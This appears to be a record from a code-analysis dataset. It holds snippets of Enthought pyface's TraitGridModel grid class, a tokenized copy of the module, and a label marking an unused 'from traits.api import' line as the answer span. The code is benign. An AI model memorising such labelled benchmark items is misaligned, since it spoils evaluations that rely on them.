self.__manage_column_listeners(event.removed, remove=True)\n self.__manage_column_listeners(event.added)\n self.fire_structure_changed()\n return", "metadata": "root.TraitGridModel._on_columns_items_changed", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 574 }, { "content": " def _on_contained_trait_changed(self, new):\n \"\"\" Force the grid to refresh when any underlying trait changes. \"\"\"\n self.fire_content_changed()\n return", "metadata": "root.TraitGridModel._on_contained_trait_changed", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 582 }, { "content": " def _on_data_changed(self, object, name, old, new):\n \"\"\" Force the grid to refresh when the underlying list changes. \"\"\"\n\n self.__manage_data_listeners(old, remove=True)\n self.__manage_data_listeners(self.data)\n self.fire_structure_changed()\n return", "metadata": "root.TraitGridModel._on_data_changed", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 587 }, { "content": " def _on_data_items_changed(self, event):\n \"\"\" Force the grid to refresh when the underlying list changes. \"\"\"\n\n # if an item was removed then remove that item's listener\n self.__manage_data_listeners(event.removed, remove=True)\n\n # if items were added then add trait change listeners on those items\n self.__manage_data_listeners(event.added)\n\n self.fire_content_changed()\n return", "metadata": "root.TraitGridModel._on_data_items_changed", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 595 }, { "content": " def __get_data_column(self, col):\n \"\"\" Return a 1-d list of data from the column indexed by col. \"\"\"\n\n row_count = self.get_row_count()\n\n coldata = []\n for row in range(row_count):\n try:\n coldata.append(self.get_value(row, col))\n except IndexError:\n coldata.append(None)\n\n return coldata", "metadata": "root.TraitGridModel.__get_data_column", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 611 }, { "content": " def __get_column(self, col):\n\n try:\n column = self._auto_columns[col]\n except IndexError:\n column = None\n\n return column", "metadata": "root.TraitGridModel.__get_column", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 626 }, { "content": " def __get_column_name(self, col):\n\n name = column = self.__get_column(col)\n if isinstance(column, TraitGridColumn):\n name = column.name\n\n return name", "metadata": "root.TraitGridModel.__get_column_name", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 635 }, { "content": " def __get_column_typename(self, col):\n\n name = column = self.__get_column(col)\n typename = None\n if isinstance(column, TraitGridColumn):\n typename = column.typename\n\n return typename", "metadata": "root.TraitGridModel.__get_column_typename", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 643 }, { "content": " def __get_column_readonly(self, col):\n\n read_only = False\n column = self.__get_column(col)\n if isinstance(column, TraitGridColumn):\n read_only = column.read_only\n\n return read_only", "metadata": "root.TraitGridModel.__get_column_readonly", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 652 }, { "content": " def __get_column_formats(self, col):\n\n formats = None\n column = self.__get_column(col)\n if isinstance(column, TraitGridColumn):\n formats = column.formats\n\n return formats", "metadata": "root.TraitGridModel.__get_column_formats", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 661 }, { "content": " def _get_column_index_by_trait(self, trait_name):\n\n cols = self._auto_columns\n for i in range(len(cols)):\n col = cols[i]\n if isinstance(col, TraitGridColumn):\n col_name = col.name\n else:\n col_name = col\n\n if col_name == trait_name:\n return i\n\n return None", "metadata": "root.TraitGridModel._get_column_index_by_trait", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 670 }, { "content": " def __manage_data_listeners(self, list, remove=False):\n # attach appropriate trait handlers to objects in the list\n if list is not None:\n for item in list:\n item.on_trait_change(self._on_contained_trait_changed,\n remove = remove)\n return", "metadata": "root.TraitGridModel.__manage_data_listeners", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 685 }, { "content": " def __manage_column_listeners(self, collist, remove=False):\n\n if collist is not None:\n for col in collist:\n if isinstance(col, TraitGridColumn):\n col.on_trait_change(self._on_columns_changed,\n remove = remove)\n\n return", "metadata": "root.TraitGridModel.__manage_column_listeners", "header": "['class', 'TraitGridModel', '(', 'GridModel', ')', ':', '___EOS___']", "index": 693 } ]
[ { "span": "from traits.api import Any, Bool, Callable, Dict, Function, HasTraits, \\\n Int, List, Str, Trait, TraitError, Type", "start_line": 21, "start_column": 0, "end_line": 22, "end_column": 44 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2005", ",", " ", "Ent", "hou", "ght", ",", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "software", " ", "is", " ", "provided", " ", "with", "out", " ", "warr", "ant", "y", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "BS", "D_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "license", " ", "include", "d", " ", "in", " ", "enth", "ou", "ght", "/", "LICENSE", ".", "txt", " ", "and", " ", "may", " ", "be", " ", "redis", "tribut", "ed", " ", "only_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "under", " ", "the", " ", "condition", "s", " ", "descri", "bed", " ", "in", " ", "the", " ", "af", "ore", "mentioned", " ", "license", ".", " ", " ", "The", " ", "license_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "als", "o", " ", "avail", "able", " ", "onli", "ne", " ", "at", " ", "http", "://", "www", ".", "enth", "ou", "ght", ".", "com", "/", "license", "s", "/", "BS", "D", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thanks", " ", "for", " ", "usi", "ng", " ", "Ent", "hou", "ght", " ", "open", " ", "source", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", ":", " ", "Ent", "hou", "ght", ",", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Descripti", "on", ":", " ", "<", "Ent", "hou", "ght", " ", "pyf", "ace", " ", "package", " ", "component", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "--------------", "--------------", "--------------", "--------------", "--------------", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", " ", "A", " ", "Trait", "Grid", "Model", " ", "builds", " ", "a", " ", "grid", " ", "from", " ", "a", " ", "list", " ", "of", " ", "traits", " ", "object", "s", ".", " ", "Ea", "ch", " ", "row", "\\", "10", ";", "represent", "s", " ", "on", " ", "object", ",", " ", "each", " ", "column", " ", "one", " ", "tra", "it", " ", "from", " ", "tho", "se", " ", "object", "s", ".", " ", "All", " ", "the", " ", "object", "s", "\\", "10", ";", "must", " ", "be", " ", "of", " ", "the", " ", "same", " ", "type", ".", " ", "Optio", "nal", "ly", " ", "a", " ", "user", " ", "may", " ", "pass", " ", "in", " ", "a", " ", "list", " ", "of", " ", "tra", "it", " ", "names", "\\", "10", ";", "defini", "ng", " ", "whi", "ch", " ", "traits", " ", "will", " ", "be", " ", "shown", " ", "in", " ", "the", " ", "column", "s", " ", "and", " ", "in", " ", "whi", "ch", " ", "order", ".", " ", "If", " ", "this", "\\", "10", ";", "list", " ", "is", " ", "not", " ", "pass", "ed", " ", "in", ",", " ", "then", " ", "the", " ", "first", " ", "object", " ", "is", " ", "inspect", "ed", " ", "and", " ", "every", " ", "tra", "it", "\\", "10", ";", "from", " ", "tha", "t", " ", "object", " ", "gets", " ", "a", " ", "column", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ent", "hou", "ght", " ", "librar", "y", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "traits_", "._", "api_", "import_", "Any_", ",_", "Bool_", ",_", "Callable_", ",_", "Dict_", ",_", "Function_", ",_", "Has", "Trait", "s_", ",_", "Int_", ",_", "List_", ",_", "Str_", ",_", "Trait", "_", ",_", "Trait", "Error_", ",_", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "local", " ", "imports_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "._", "grid", "\\u", "model_", "import_", "Grid", "Column_", ",_", "Grid", "Model_", ",_", "Grid", "Sort", "Event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "tra", "it", "\\u", "grid", "\\u", "cell", "\\u", "adapter_", "import_", "Trait", "Grid", "Cel", "l", "Adapter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "classe", "s", " ", "belo", "w", " ", "are", " ", "part", " ", "of", " ", "the", " ", "table", " ", "specifica", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "mea", "t", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "EO", "F", " ", "###########", "###########", "###########", "###########", "###########", "###########", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Trait", "Grid", "Column_", "(_", "Grid", "Column_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Structur", "e", " ", "for", " ", "holding", " ", "column", " ", "specifica", "tion", "s", " ", "in", " ", "a", " ", "Trait", "Grid", "Model", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "tra", "it", " ", "name", " ", "for", " ", "this", " ", "column", ".", " ", "Thi", "s", " ", "take", "s", " ", "preceden", "ce", " ", "over", " ", "method_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "Trait", "_", "(_", "None_", ",_", "None_", ",_", "Str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "method", " ", "name", " ", "to", " ", "call", " ", "to", " ", "get", " ", "the", " ", "value", " ", "for", " ", "this", " ", "column_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "Trait", "_", "(_", "None_", ",_", "None_", ",_", "Str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "method", " ", "to", " ", "be", " ", "used", " ", "to", " ", "sort", " ", "on", " ", "this", " ", "column_", "\\u\\u\\uNL\\u\\u\\u_", "sorter", "_", "=_", "Trait", "_", "(_", "None_", ",_", "None_", ",_", "Callable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "dictionar", "y", " ", "of", " ", "formats", " ", "for", " ", "the", " ", "display", " ", "of", " ", "different", " ", "types", ".", " ", "If", " ", "it", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "defin", "ed", " ", "as", " ", "a", " ", "calla", "ble", ",", " ", "then", " ", "tha", "t", " ", "calla", "ble", " ", "must", " ", "accept", " ", "a", " ", "single", " ", "argu", "ment", "._", "\\u\\u\\uNL\\u\\u\\u_", "formats_", "=_", "Dict_", "(_", "key", "\\u", "trait_", "=_", "Type_", ",_", "value", "\\u", "trait_", "=_", "Trait", "_", "(_", "''_", ",_", "Str_", ",_", "Callable_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "name", " ", "to", " ", "designate", " ", "the", " ", "type", " ", "of", " ", "this", " ", "column_", "\\u\\u\\uNL\\u\\u\\u_", "typename_", "=_", "Trait", "_", "(_", "None_", ",_", "None_", ",_", "Str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "note", ":", " ", "context", " ", "menus", " ", "shou", "ld", " ", "go", " ", "in", " ", "here", " ", "as", " ", "well", "?", " ", "but", " ", "we", " ", "need", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "more", " ", "info", " ", "than", " ", "we", " ", "have", " ", "avail", "able", " ", "at", " ", "this", " ", "point_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "size_", "=_", "Int_", "(_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Trait", "Grid", "Selection_", "(_", "Has", "Trait", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Structur", "e", " ", "for", " ", "holding", " ", "specifica", "tion", " ", "informati", "on", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "selecte", "d", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "obj_", "=_", "Trait", "_", "(_", "Has", "Trait", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "specific", " ", "tra", "it", " ", "selecte", "d", " ", "on", " ", "the", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "tra", "it", "\\u", "name_", "=_", "Trait", "_", "(_", "None_", ",_", "None_", ",_", "Str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "A", " ", "Trait", "Grid", "Model", " ", "builds", " ", "a", " ", "grid", " ", "from", " ", "a", " ", "list", " ", "of", " ", "traits", " ", "object", "s", ".", " ", "Ea", "ch", " ", "row", "\\", "10", ";", " ", " ", " ", " ", "represent", "s", " ", "on", " ", "object", ",", " ", "each", " ", "column", " ", "one", " ", "tra", "it", " ", "from", " ", "tho", "se", " ", "object", "s", ".", " ", "All", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "object", "s", " ", "must", " ", "be", " ", "of", " ", "the", " ", "same", " ", "type", ".", " ", "Optio", "nal", "ly", " ", "a", " ", "user", " ", "may", " ", "pass", " ", "in", " ", "a", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "tra", "it", " ", "names", " ", "defini", "ng", " ", "whi", "ch", " ", "traits", " ", "will", " ", "be", " ", "shown", " ", "in", " ", "the", " ", "column", "s", " ", "and", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "whi", "ch", " ", "order", ".", " ", "If", " ", "this", " ", "list", " ", "is", " ", "not", " ", "pass", "ed", " ", "in", ",", " ", "then", " ", "the", " ", "first", " ", "object", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "inspect", "ed", " ", "and", " ", "every", " ", "tra", "it", " ", "from", " ", "tha", "t", " ", "object", " ", "gets", " ", "a", " ", "column", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "2", "-", "dimension", "al", " ", "list", "/", "array", " ", "contain", "ing", " ", "the", " ", "grid", " ", "data", "._", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "List_", "(_", ")_", "#", "Has", "Trait", "s", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "column", " ", "definitions_", "\\u\\u\\uNL\\u\\u\\u_", "columns_", "=_", "Trait", "_", "(_", "None_", ",_", "None_", ",_", "List_", "(_", "Trait", "_", "(_", "None_", ",_", "Str_", ",_", "Trait", "Grid", "Column_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "tra", "it", " ", "to", " ", "look", " ", "at", " ", "to", " ", "get", " ", "the", " ", "row", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "row", "\\u", "name", "\\u", "trait_", "=_", "Trait", "_", "(_", "None_", ",_", "None_", ",_", "Str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", "ow", " ", "column", " ", "sorting", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "allow", "\\u", "column", "\\u", "sort_", "=_", "Bool_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "A", " ", "factor", "y", " ", "to", " ", "generat", "e", " ", "new", " ", "rows", ".", " ", "If", " ", "this", " ", "is", " ", "not", " ", "Non", "e", " ", "then", " ", "it", " ", "must", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "be", " ", "a", " ", "no", "-", "argu", "ment", " ", "function", "._", "\\u\\u\\uNL\\u\\u\\u_", "row", "\\u", "factory_", "=_", "Trait", "_", "(_", "None_", ",_", "None_", ",_", "Function_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "object", "'", " ", "interface", "._", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "'", "Grid", "Model", "'", " ", "interface", "._", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "#", "_",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\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "protect", "ed", " ", "'", "Grid", "Model", "'", " ", "interface", "._", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "protect", "ed", " ", "interface", "._", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tra", "it", " ", "handlers_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "private", " ", "interface", "._", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "**_", "traits_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Creat", "e", " ", "a", " ", "Trait", "Grid", "Model", " ", "object", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Base", " ", "class", " ", "constructor_", "\\u\\u\\uNL\\u\\u\\u_", "super_", "(_", "Trait", "Grid", "Model_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "**_", "traits_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "no", " ", "column", "s", " ", "are", " ", "pass", " ", "in", " ", "then", " ", "create", " ", "the", " ", "list", " ", "of", " ", "names_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "from", " ", "the", " ", "first", " ", "tra", "it", " ", "in", " ", "the", " ", "list", ".", " ", "if", " ", "the", " ", "list", " ", "is", " ", "empty", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "column", "s", " ", "shou", "ld", " ", "be", " ", "an", " ", "empty", " ", "list", " ", "as", " ", "well", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "auto", "\\u", "columns_", "=_", "self_", "._", "columns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "columns_", "is_", "None_", "or_", "len_", "(_", "self_", "._", "columns_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "data_", "is_", "not_", "None_", "and_", "len_", "(_", "self_", "._", "data_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "auto", "\\u", "columns_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "only", " ", "add", " ", "traits", " ", "tha", "t", " ", "are", "n", "'", "t", " ", "events", ",", " ", "sinc", "e", " ", "events_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "write", "-", "only_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "name_", ",_", "trait_", "in_", "self_", "._", "data_", "[_", "0_", "]_", "._", "traits_", "(_", ")_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "trait_", "._", "type_", "!=_", "'", "event", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "auto", "\\u", "columns_", "._", "append_", "(_", "Trait", "Grid", "Column_", "(_", "name_", "=_", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "auto", "\\u", "columns_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "attach", " ", "tra", "it", " ", "handler", "s", " ", "to", " ", "the", " ", "list", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "on", "\\u", "tra", "it", "\\u", "event_", "(_", "self_", "._", "\\u", "on", "\\u", "data\\u", "changed_", ",_", "'", "data", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "tra", "it", "\\u", "event_", "(_", "self_", "._", "\\u", "on", "\\u", "data\\u", "items", "\\u", "changed_", ",_", "'", "data\\u", "items", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "attach", " ", "appropr", "iate", " ", "tra", "it", " ", "handler", "s", " ", "to", " ", "object", "s", " ", "in", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "data\\u", "listeners_", "(_", "self_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "attach", " ", "a", " ", "listen", "er", " ", "to", " ", "the", " ", "column", " ", "definit", "ion", "s", " ", "so", " ", "we", " ", "refre", "sh", " ", "when_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", "y", " ", "change_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "on", "\\u", "tra", "it", "\\u", "change_", "(_", "self_", "._", "\\u", "on", "\\u", "column", "s", "\\u", "changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "column", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "on", "\\u", "tra", "it", "\\u", "event_", "(_", "self_", "._", "\\u", "on", "\\u", "column", "s", "\\u", "items", "\\u", "changed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "column", "s", "\\u", "items", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "attach", " ", "listeners", " ", "to", " ", "the", " ", "column", " ", "definit", "ion", "s", " ", "them", "sel", "ves_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u\\u", "manage", "\\u", "column", "\\u", "listeners_", "(_", "self_", "._", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "attach", " ", "a", " ", "listen", "er", " ", "to", " ", "the", " ", "row", "\\u", "name", "\\u", "trait_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "on", "\\u", "tra", "it", "\\u", "change_", "(_", "self_", "._", "\\u", "on", "\\u", "row", "\\u", "name", "\\u", "tra", "it", "\\u", "changed_", ",_", "'", "row", "\\u", "name", "\\u", "tra", "it", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Trait", "Grid", "Model_", "(_", "Grid", "Model_", ")_", ":_", 